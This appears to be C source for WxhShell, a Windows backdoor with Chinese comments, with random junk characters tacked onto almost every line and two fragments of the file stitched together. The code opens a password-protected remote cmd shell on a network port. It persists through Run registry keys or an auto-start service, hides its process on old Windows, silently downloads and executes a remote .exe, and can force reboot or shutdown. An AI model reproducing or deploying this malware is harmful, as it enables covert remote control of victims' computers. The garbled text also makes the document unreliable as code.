    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VnlgX\$}  
    if(Boot(SHUTDOWN))  )ph**g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1J \ C  
    else { /V'^$enK!}  
    closesocket(wsh); 6 3TeTGp$  
    ExitThread(0); Xjb 4dip  
    } 8yW8F26  
    break; wyzx9`5~d  
    } /<[S> ;!kr  
  // 获取shell &6]+a4  
  case 's': { '?| (QU:)F  
    CmdShell(wsh); ?:StFlie  
    closesocket(wsh); 9Z?P/ o  
    ExitThread(0); M:t!g %  
    break; l^`& Tnzv  
  } `Fn"%P!  
  // 退出 { 'A`ram  
  case 'x': { 'iQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &d,chb (  
    CloseIt(wsh); ~nit~ ;  
    break; `As| MYv  
    } &[u>^VO8  
  // 离开 :LE0_ .  
  case 'q': { lKVy{X 3]*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j@chSk"K  
    closesocket(wsh); R%gkRx[  
    WSACleanup(); '8%pEl^  
    exit(1); +Dvdv<+  
    break; 2Y~UeJ_\Lq  
        } TtZZjeg+V  
  } Kmy'z  
  } P9d%80(b4  
mM`zA%=  
  // 提示信息 jM <=>P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /"~ D(bw0=  
} ZtzSG@f  
  } QuF76&)7  
By3y.}'Ub9  
  return; X?6E0/r&9  
} [^N8v;O  
9gu$vF]9!  
// shell模块句柄 w$5~'Cbi  
int CmdShell(SOCKET sock) !v/j*'L<M}  
{ GUX! kj  
STARTUPINFO si; Gp 8%n  
ZeroMemory(&si,sizeof(si)); $O\I9CGr$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Xz=E0;^Ua  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |\HYq`!g%7  
PROCESS_INFORMATION ProcessInfo; ~Te9Lq|  
char cmdline[]="cmd"; WUC-* (  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `2WtA_  
  return 0; ^Rel-=Z$B  
} ^{ Kj{M22  
rTJ='<hIy  
// 自身启动模式 wEQ7=Gyx  
int StartFromService(void) =D&xw2  
{ 8 `\^wG$W  
typedef struct i|`b2msvd  
{ Sf_q;Ws  
  DWORD ExitStatus; _'eG   
  DWORD PebBaseAddress; |)%]MK$;  
  DWORD AffinityMask; [{s 1= c  
  DWORD BasePriority; 4[\$3t.L  
  ULONG UniqueProcessId; / 7i>0J]  
  ULONG InheritedFromUniqueProcessId; JPo.&5k  
}   PROCESS_BASIC_INFORMATION; 33R1<dRk  
D)kh"cK*1  
PROCNTQSIP NtQueryInformationProcess; B/:+(|  
{z^6V\O5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; WA'&0i4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A$6T)  
X jJV  
  HANDLE             hProcess; >rbHpLm1`  
  PROCESS_BASIC_INFORMATION pbi; Y 6NoNc]h  
UU7E+4O&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "-y 2En  
  if(NULL == hInst ) return 0; cpIFjb>u{  
p3m!Iota  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mbf'xGO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;-aF\}D@n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 98c##NV(7|  
knX*fp  
  if (!NtQueryInformationProcess) return 0; Ffv v8x  
8vk*",  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X2RM*y|  
  if(!hProcess) return 0; /0S2Om h  
k`j>lhH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zC@ ziH>{]  
4t C-msTf  
  CloseHandle(hProcess); A-=B#UF  
`.MY" g9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]"ZL<?3g  
if(hProcess==NULL) return 0; .o27uB.  
SxX2+|0g`g  
HMODULE hMod; S.: m$s  
char procName[255]; U@ ;W^Mt  
unsigned long cbNeeded; gY\g+df-  
yN'< iTh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `[OJ)tHE  
ZWtlOP#]  
  CloseHandle(hProcess); ]JQ+*ZYUE  
;)6LX-  
if(strstr(procName,"services")) return 1; // 以服务启动 T(GEFnt Y  
%=ZN2)7{  
  return 0; // 注册表启动 b]-~{' +  
} qD/GYqvm  
t; 3n  
// 主模块 G}2DZ=&>'  
int StartWxhshell(LPSTR lpCmdLine) \n&l  
{ wgN)*dpuI  
  SOCKET wsl; P#8+GN+bF  
BOOL val=TRUE; aEO``W  
  int port=0; QNN*/n  
  struct sockaddr_in door; 3?}\Hw  
?g ~w6|U(r  
  if(wscfg.ws_autoins) Install(); v$WH#;(\  
FnZMW, P  
port=atoi(lpCmdLine); %OV)O-  
jX9{Ki"  
if(port<=0) port=wscfg.ws_port; g9T9TQ-O  
+#B4Z'nT  
  WSADATA data; 1X ?9Ji)h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m'!smS x8  
*mvDh9v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cC4 2b2+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GlVb |O"  
  door.sin_family = AF_INET; /LH# 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Sik~Mm_h  
  door.sin_port = htons(port); Gp l  
OI8Hf3d=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =do*(  
closesocket(wsl); M1Frn n  
return 1; lc:dKGF6  
} (plsL   
;Dw6pmZ  
  if(listen(wsl,2) == INVALID_SOCKET) { \*wQ%_N5  
closesocket(wsl); ~ z< &vQ=  
return 1; #`g..3ey  
} u|.c?fW'3  
  Wxhshell(wsl); EgYM][:UU  
  WSACleanup(); MrW*6jY@  
<FkoWN  
return 0; z PW[GkD  
7_=7 ;PQ<  
} Ar;uq7c,G  
q2$-U&  
// 以NT服务方式启动 ]_hrYjX;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >*wF~G*k  
{ wU"0@^k]<  
DWORD   status = 0; k2-:! IE  
  DWORD   specificError = 0xfffffff; FFG/v`NM  
o94]:$=~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vgj&h dbd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A>bpP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ycD}7  
  serviceStatus.dwWin32ExitCode     = 0; 51)Q&,Mo#  
  serviceStatus.dwServiceSpecificExitCode = 0; "mk4O4dF  
  serviceStatus.dwCheckPoint       = 0; $-=QTX  
  serviceStatus.dwWaitHint       = 0; TJ5g? #Wul  
7CGxM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @W|N1,sp  
  if (hServiceStatusHandle==0) return; yF _@^V  
C.#\ Pz0  
status = GetLastError(); US.7:S-r"  
  if (status!=NO_ERROR) q^I/  
{ h1A/:/_M6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CyWMr/'  
    serviceStatus.dwCheckPoint       = 0; $:4* ?8 K2  
    serviceStatus.dwWaitHint       = 0; 2#XYR>[  
    serviceStatus.dwWin32ExitCode     = status; Jc3Z1Tt  
    serviceStatus.dwServiceSpecificExitCode = specificError; %XQ!>BeE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d3IMQ_k  
    return; 2_i9 q>I  
  } j "^V?e5  
yu~o9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AeZ__X  
  serviceStatus.dwCheckPoint       = 0; /uNgftj  
  serviceStatus.dwWaitHint       = 0; y8!#G-d5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lQq&tz,  
} Eq\PSa=gz  
.boBo$f  
// 处理NT服务事件,比如:启动、停止 6^Q/D7U;s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a*D])Lu[  
{ XMLJ X~  
switch(fdwControl) \ y^Ho1Fj  
{ }JWLm.e  
case SERVICE_CONTROL_STOP: k0/S&e,*  
  serviceStatus.dwWin32ExitCode = 0; \-h%z%{R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MT3TWWtZ:  
  serviceStatus.dwCheckPoint   = 0; Mx]![O.ye  
  serviceStatus.dwWaitHint     = 0; HtN!Hgpwg  
  { -aV!ZODt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l_MF9.z&  
  } $GI jWlAh  
  return; Nr(t5TP^  
case SERVICE_CONTROL_PAUSE: YWK|AT-4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `a+"[%  
  break; ;/79tlwq  
case SERVICE_CONTROL_CONTINUE: er%D`VHe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2d:5~fEJp  
  break; cU[^[;4J<  
case SERVICE_CONTROL_INTERROGATE: X%sMna)  
  break; 6!;eJYj,  
}; H?a1XEY/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l`wF;W!  
} RP9jZRDbZ  
5Xr<~xr  
// 标准应用程序主函数 ^DQp9$la  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A#@9|3  
{ !,0%ZG}]7  
|GLh|hr  
// 获取操作系统版本 qx;8Hq(E[  
OsIsNt=GetOsVer(); |u@/,x/t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zQ=c6xvm8  
gd,3}@@SH  
  // 从命令行安装 kgZiyPcw  
  if(strpbrk(lpCmdLine,"iI")) Install(); YPU*T&~  
N+3]C9 2o  
  // 下载执行文件 Y48MCL  
if(wscfg.ws_downexe) { #86=[*Dr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >Hd0l L  
  WinExec(wscfg.ws_filenam,SW_HIDE); >%?kp[  
} .:U`4 ->E  
-V_iv/fmM  
if(!OsIsNt) { s-[v[w'E  
// 如果时win9x,隐藏进程并且设置为注册表启动 <=g{E-  
HideProc(); |3:e$  
StartWxhshell(lpCmdLine); v"I#.{LiH=  
} |}07tUq  
else {}A1[ Y|  
  if(StartFromService()) 1v M'yr$  
  // 以服务方式启动 kM;fxR:-  
  StartServiceCtrlDispatcher(DispatchTable); u;/5@ADW  
else V0 O6\)/.  
  // 普通方式启动 %%c1@2G<  
  StartWxhshell(lpCmdLine); Xk]:]pl4W  
/]@1IC{Lk  
return 0; a:V2(nY  
} 2Vwv#NAV k  
1!P\x=Nn_  
7/>#yR  
GX\6J]x=^2  
=========================================== 8rEUZk  
Mcfqo0T-  
!C3ozZ<  
W-8U~*/  
0hB9D{`,{  
+WTO_J7  
" qPvWb1H:  
, |lDR@  
#include <stdio.h> $E,,::oJ  
#include <string.h> ,Qb(uirl]  
#include <windows.h> B_3:.1>"BM  
#include <winsock2.h> J4l \  
#include <winsvc.h> vS1#ien#  
#include <urlmon.h> 02RZ>m+  
CUI\:a-   
#pragma comment (lib, "Ws2_32.lib") K4w#}gzok  
#pragma comment (lib, "urlmon.lib") N7l`-y  
<u Kd)l  
#define MAX_USER   100 // 最大客户端连接数 ZdsYIRU#  
#define BUF_SOCK   200 // sock buffer @GyxOc@6  
#define KEY_BUFF   255 // 输入 buffer ~^<1k-  
+!JTEKHKH  
#define REBOOT     0   // 重启 (l_/ HQ32  
#define SHUTDOWN   1   // 关机 [zsUboCkc  
=g3o@WD/G  
#define DEF_PORT   5000 // 监听端口 Z.$)#vM5  
BufXnMh.  
#define REG_LEN     16   // 注册表键长度 ;RUod .x  
#define SVC_LEN     80   // NT服务名长度 EU,f;H  
e{6I-5`|,#  
// 从dll定义API ygo4.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A}l+BIt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ui .riD[,O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Im%L=q9GL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E},^,65  
h( V:-D  
// wxhshell配置信息 3I.0jA#T&/  
struct WSCFG { !V O^oD7  
  int ws_port;         // 监听端口 'L5ih|$>  
  char ws_passstr[REG_LEN]; // 口令 *I<L1g%9d  
  int ws_autoins;       // 安装标记, 1=yes 0=no BTAt9Z8qK  
  char ws_regname[REG_LEN]; // 注册表键名 3vC"Q!J&  
  char ws_svcname[REG_LEN]; // 服务名 4 >`2vb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /73ANQ"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C &~s<tcn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hYSzr-)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Z}3XVZEN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" QJ^'Uyfdn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 my+2@ln  
f j:q>}V  
}; {W11+L{8  
aUYq~E tj  
// default Wxhshell configuration ]*v [6 +  
struct WSCFG wscfg={DEF_PORT, 4^3lG1^YY  
    "xuhuanlingzhe", \ 3XG8J  
    1, )C&'5z  
    "Wxhshell", O-,0c1ts  
    "Wxhshell", !eP)"YWI3  
            "WxhShell Service", $_Kcm"oj  
    "Wrsky Windows CmdShell Service", Yj{-|2YzL  
    "Please Input Your Password: ", t#N@0kIX.  
  1, UpFm3gKF  
  "http://www.wrsky.com/wxhshell.exe", I(Gl8F\c~  
  "Wxhshell.exe" Y9r##r+  
    }; m4_ZGjmJM  
 sg9  
// 消息定义模块 z~($ "  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g/(3D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q445$ndCT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z!foD^&R  
char *msg_ws_ext="\n\rExit."; #gcv])to  
char *msg_ws_end="\n\rQuit."; 2kkqPBc_  
char *msg_ws_boot="\n\rReboot..."; !L3\B_#  
char *msg_ws_poff="\n\rShutdown..."; wi-F@})f#  
char *msg_ws_down="\n\rSave to "; >`=9So_J  
k; (r:k^  
char *msg_ws_err="\n\rErr!"; R|'ftFebB.  
char *msg_ws_ok="\n\rOK!"; &\m=|S  
,p)Qu%'  
char ExeFile[MAX_PATH]; 12o6KVV^x  
int nUser = 0; ?8-ho0f0  
HANDLE handles[MAX_USER]; (b#4Z  
int OsIsNt; ?8!\VNC.  
&[W53Lqa  
SERVICE_STATUS       serviceStatus; E@/* eJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qq '%9  
8s9ZY4_  
// 函数声明 'B9q&k%<  
int Install(void); nw,XA0M3  
int Uninstall(void); P<C=9@`!  
int DownloadFile(char *sURL, SOCKET wsh); 1a79]-j  
int Boot(int flag); *&doI%q  
void HideProc(void); z]HaE|j}S  
int GetOsVer(void); 1{-yF :A  
int Wxhshell(SOCKET wsl); bR'UhPs-8;  
void TalkWithClient(void *cs); Id^)WEK4  
int CmdShell(SOCKET sock); ,!vI@>nhG  
int StartFromService(void); W4p4[&c|  
int StartWxhshell(LPSTR lpCmdLine); Qpocj:  
$nqVE{ksV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {wh, "Ok_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jT*?Z:U  
7-VP)|L#G  
// 数据结构和表定义 NiBly  
SERVICE_TABLE_ENTRY DispatchTable[] = 0q o]nw  
{ 3W3)%[ 5  
{wscfg.ws_svcname, NTServiceMain}, f-`C1|\w  
{NULL, NULL} uJSzz:\  
}; e]*@|e4b  
U W' @3#<?  
// 自我安装 %\] x}IC  
int Install(void) trz &]v=:  
{ p8(Z{TSv  
  char svExeFile[MAX_PATH]; `5 Iaz  
  HKEY key; #pnB+h&tE  
  strcpy(svExeFile,ExeFile); Dg}$;PK  
j@.^3:  
// 如果是win9x系统,修改注册表设为自启动 Mhu|S)hn  
if(!OsIsNt) { '0<9+A#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sf'uKSX1%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D}~uxw;[^  
  RegCloseKey(key); !W/"Z!k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^4Tf6Fw#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v2Vmcc_]9x  
  RegCloseKey(key); >4&0j'z"  
  return 0; KsQn%mxS  
    } N(`XqeC*  
  } o&MOcy D  
} opgNt o6$  
else { @tlWyUju  
qF Xx/FZ  
// 如果是NT以上系统,安装为系统服务 8EY]<#PN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ihd^P]  
if (schSCManager!=0) UsgrI>|l  
{ TjS &V  
  SC_HANDLE schService = CreateService G=PX'dS  
  ( 3(`P x}  
  schSCManager, rGlnu.mK^  
  wscfg.ws_svcname, n;LjKE  
  wscfg.ws_svcdisp, a FL; E  
  SERVICE_ALL_ACCESS, a5?Yh<cJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a= (vS  
  SERVICE_AUTO_START, \Vx_$E  
  SERVICE_ERROR_NORMAL, 1ZY~qP+n+  
  svExeFile, g\1|<jb3  
  NULL, .u:aX$t+  
  NULL, :6J&%n  
  NULL, R(f6uO!m  
  NULL, Ch_eK^ g1  
  NULL RMHJI6?LB  
  ); e2kW,JV/<$  
  if (schService!=0) }H:wgy`  
  { ;)q"X>FMZe  
  CloseServiceHandle(schService); -8yN6 0|  
  CloseServiceHandle(schSCManager); Nxr\Yey  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =wlPm5  
  strcat(svExeFile,wscfg.ws_svcname); JPM~tp?;<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :!wl/X ~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *tfD^nctO  
  RegCloseKey(key); _R}yZ=di  
  return 0; Lk.tEuj=82  
    } QzxEkTc;  
  } OMAvJzK .  
  CloseServiceHandle(schSCManager); $r)NL  
} n(W&GSj|u9  
} [l}H%S   
7Q9| P?&:z  
return 1; }$b!/<7FD  
} S0`u!l89(  
VIg6'  
// 自我卸载 |nBs(>b  
int Uninstall(void) U|Uc|6  
{ XTRF IY  
  HKEY key;  54#P  
 'Pxq>Os  
if(!OsIsNt) { CU:HTz=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g3f; JB   
  RegDeleteValue(key,wscfg.ws_regname); QUDpAW  
  RegCloseKey(key); MzH'<`;BP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MlR ]+]  
  RegDeleteValue(key,wscfg.ws_regname); -vv_6Z L[  
  RegCloseKey(key); PMT}fg  
  return 0; ]3~ u @6  
  } VfwH:  
} 6!SW]#sD  
} O8~RfB  
else { L{oG'aK4  
&ET$ca`j#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $Z3{D:-)  
if (schSCManager!=0) QH_Ds,oH=  
{ pj$kSS|m6-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k *D8IB  
  if (schService!=0) u4$R ZTC  
  { fZcA{$Vc]N  
  if(DeleteService(schService)!=0) { +J#8w h  
  CloseServiceHandle(schService); 5fRrd;  
  CloseServiceHandle(schSCManager); B$qTH5)W  
  return 0; 5?[hr5E.E  
  } Q%524%f$  
  CloseServiceHandle(schService); q]U!n  
  } ]D4lZK>H  
  CloseServiceHandle(schSCManager); Tn9F g7<  
} !E|m'_x*  
} bu -6}T+  
FY`t7_Y?GV  
return 1; +X`&VO6~  
} R{ udV  
Tv6y +l  
// 从指定url下载文件 GWLdz0`2_  
int DownloadFile(char *sURL, SOCKET wsh) =~5N/!  
{ 5H 1N]v+  
  HRESULT hr; _l+C0lQl=  
char seps[]= "/"; ?Qx4Z3n  
char *token; w O Ou/Y  
char *file; P-<1vfThH  
char myURL[MAX_PATH];  n (|rs  
char myFILE[MAX_PATH]; :^U>n{   
y06xl:iQwF  
strcpy(myURL,sURL); C_JO:$\rE  
  token=strtok(myURL,seps); Kv)}  
  while(token!=NULL) vK`HgRQ(C  
  { '$rCV,3q  
    file=token; {+GR/l\!#  
  token=strtok(NULL,seps); E M`'=<)V  
  } LzD RyL  
"$D'gS oYe  
GetCurrentDirectory(MAX_PATH,myFILE); 'Lw8l `7  
strcat(myFILE, "\\"); mn\A)R Q  
strcat(myFILE, file); OMM5ALc(F  
  send(wsh,myFILE,strlen(myFILE),0); 5=I"bnIU  
send(wsh,"...",3,0); bI`JG:^b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0 /9 C=v  
  if(hr==S_OK) \hn$-'=4  
return 0; 78r0K 5=  
else +25=u|#4r  
return 1; e-OKv#]  
1z0|uc  
} kKjcW` [  
iSUu3Yv,_m  
// 系统电源模块 Y]5spqG  
int Boot(int flag) 5W$Jxuyqj  
{ /Kq'3[d8  
  HANDLE hToken; Sk)lT^by  
  TOKEN_PRIVILEGES tkp; (&v,3>3]  
}!?RB v'W  
  if(OsIsNt) { Gs,e8ri!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;)wk ^W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y0ObcP.MA  
    tkp.PrivilegeCount = 1; @WJ\W`P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M< .1U?_#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~mwIr  
if(flag==REBOOT) { QPh3(K1w^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UvM4-M%2JN  
  return 0; C/H;|3.X  
} bwcr/J( Nb  
else { Fn iht<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AJE$Z0{q  
  return 0; w^("Pg`  
} FD&^nJ_{  
  } J#ClQ%  
  else { qS"#jxc==+  
if(flag==REBOOT) { ]T)<@bmL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aEh9 za  
  return 0; ||.Hv[ ]V*  
} Iqn (NOq^[  
else { 7!h> < sx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?L0k|7  
  return 0; 9_,f)2)~W  
} 1Lk(G9CoY  
} ez.a  
L &hw- .Q  
return 1; >fth iA  
} +GL$[ 5G  
 I8`$a  
// win9x进程隐藏模块 /nuz_y\J  
void HideProc(void) ,hT.Ok={36  
{ k`A39ln7wu  
Sk1t~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f8aY6o"i  
  if ( hKernel != NULL ) f$n5$hJlQ  
  { Pqw<nyC.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^6R(K'E}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U*E)y7MY  
    FreeLibrary(hKernel); Jj\lF*B  
  } awvP;F?q|  
@6UZC-M0  
return; >T c\~l  
} c#"t.j<E}  
zH6@v +gb  
// 获取操作系统版本 2%6 >)|  
int GetOsVer(void) {7c'%e  
{ F?05+  
  OSVERSIONINFO winfo; #p55/54ZI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iU37LODa2T  
  GetVersionEx(&winfo); M8<Vd1-5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J=gFiBw  
  return 1; y+w,j]  
  else ;^0rY)&  
  return 0; J 7G-qF\  
} tq3Rc}  
%>_6&A{K,d  
// 客户端句柄模块 %=Z/Frd  
int Wxhshell(SOCKET wsl)  o kA<  
{ %D8.uGsh  
  SOCKET wsh; 3+s$K(%I  
  struct sockaddr_in client; pMy:h   
  DWORD myID; .-/IV^lGv  
.|5$yGEF_+  
  while(nUser<MAX_USER) QkW'tU\^  
{ /*k_`3L  
  int nSize=sizeof(client); FKz5,PeL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wT6zeEV~*  
  if(wsh==INVALID_SOCKET) return 1; < F;+A{M)  
`]XI Q\ *  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7pciB}$2  
if(handles[nUser]==0) FVBAB>   
  closesocket(wsh); 0V21_".S  
else X?wZ7*'1  
  nUser++; Bf;_~1+vLG  
  } |*UB/8C^/!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u4w!SD  
z\A ),;  
  return 0; S#v3%)R  
} jBOl:l,+  
h=:/9O{H  
// 关闭 socket b=_k)h+l  
void CloseIt(SOCKET wsh) eh `%E0b}  
{ @sA!o[gH  
closesocket(wsh); ?6&8-zt1?  
nUser--; F]UH\1  
ExitThread(0); Z[d13G;  
} 'ScvteQ  
L 1!V'Hm{  
// 客户端请求句柄 )%MC*Z :^  
void TalkWithClient(void *cs)  w:QO@  
{ i2  c|_B  
^Y%_{   
  SOCKET wsh=(SOCKET)cs; $HsNV6  
  char pwd[SVC_LEN]; ~'KqiUY  
  char cmd[KEY_BUFF]; y^}u L|=  
char chr[1]; $Oy&PO e  
int i,j; ,NS*`F[O  
O^row1D_  
  while (nUser < MAX_USER) { lV %1I@[M  
C-;w}  
if(wscfg.ws_passstr) { uW[[8+t|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cp"7R&s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z|D*ymz*EY  
  //ZeroMemory(pwd,KEY_BUFF); OM&GypP6&  
      i=0; 4d4+%5GE  
  while(i<SVC_LEN) { ] 2qKc  
M?%x= q\<  
  // 设置超时 9g5h~ Ma  
  fd_set FdRead; ? \,^>4x?  
  struct timeval TimeOut; usD@4!PoA  
  FD_ZERO(&FdRead); -Z$u[L [c  
  FD_SET(wsh,&FdRead); aE 9Y |6  
  TimeOut.tv_sec=8; oq+w2yR  
  TimeOut.tv_usec=0; 3cL iZ%6^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); adX"Yg!`{c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1VlU'qY  
~vt9?(h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QR'#]k;>%  
  pwd=chr[0]; p\ ;|Z+0=  
  if(chr[0]==0xd || chr[0]==0xa) { FZj>N(  
  pwd=0;  k-=LD  
  break; aW&)3C2-x  
  } II}M|qHaK  
  i++; >a<1J(c  
    } .E}lAd.Mn  
I"vkfi#=  
  // 如果是非法用户,关闭 socket X]D,kKasG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DI{*E  
} ;s/<wx-C  
ucx02^uA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }}QR'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3>@VPMi  
zZ8*a\  
while(1) { -;L'Jb>s76  
, i5_4  
  ZeroMemory(cmd,KEY_BUFF); WJnGF3G>  
ebQgk Y=  
      // 自动支持客户端 telnet标准   :1>?:3,`  
  j=0; @ gWd  
  while(j<KEY_BUFF) { ngl +`|u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d9M[]{  
  cmd[j]=chr[0]; Pa{  
  if(chr[0]==0xa || chr[0]==0xd) { f(Of+>   
  cmd[j]=0; ' 1gfXC  
  break; N8dxgh!,  
  } R/ZScOW[  
  j++; Pp tuXq%U  
    } Jq'8"  
6D`n^uoP  
  // 下载文件 nOL"6%q  
  if(strstr(cmd,"http://")) { mnsl$H_4S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XAU%B-l:  
  if(DownloadFile(cmd,wsh)) QE\ [ EI2  
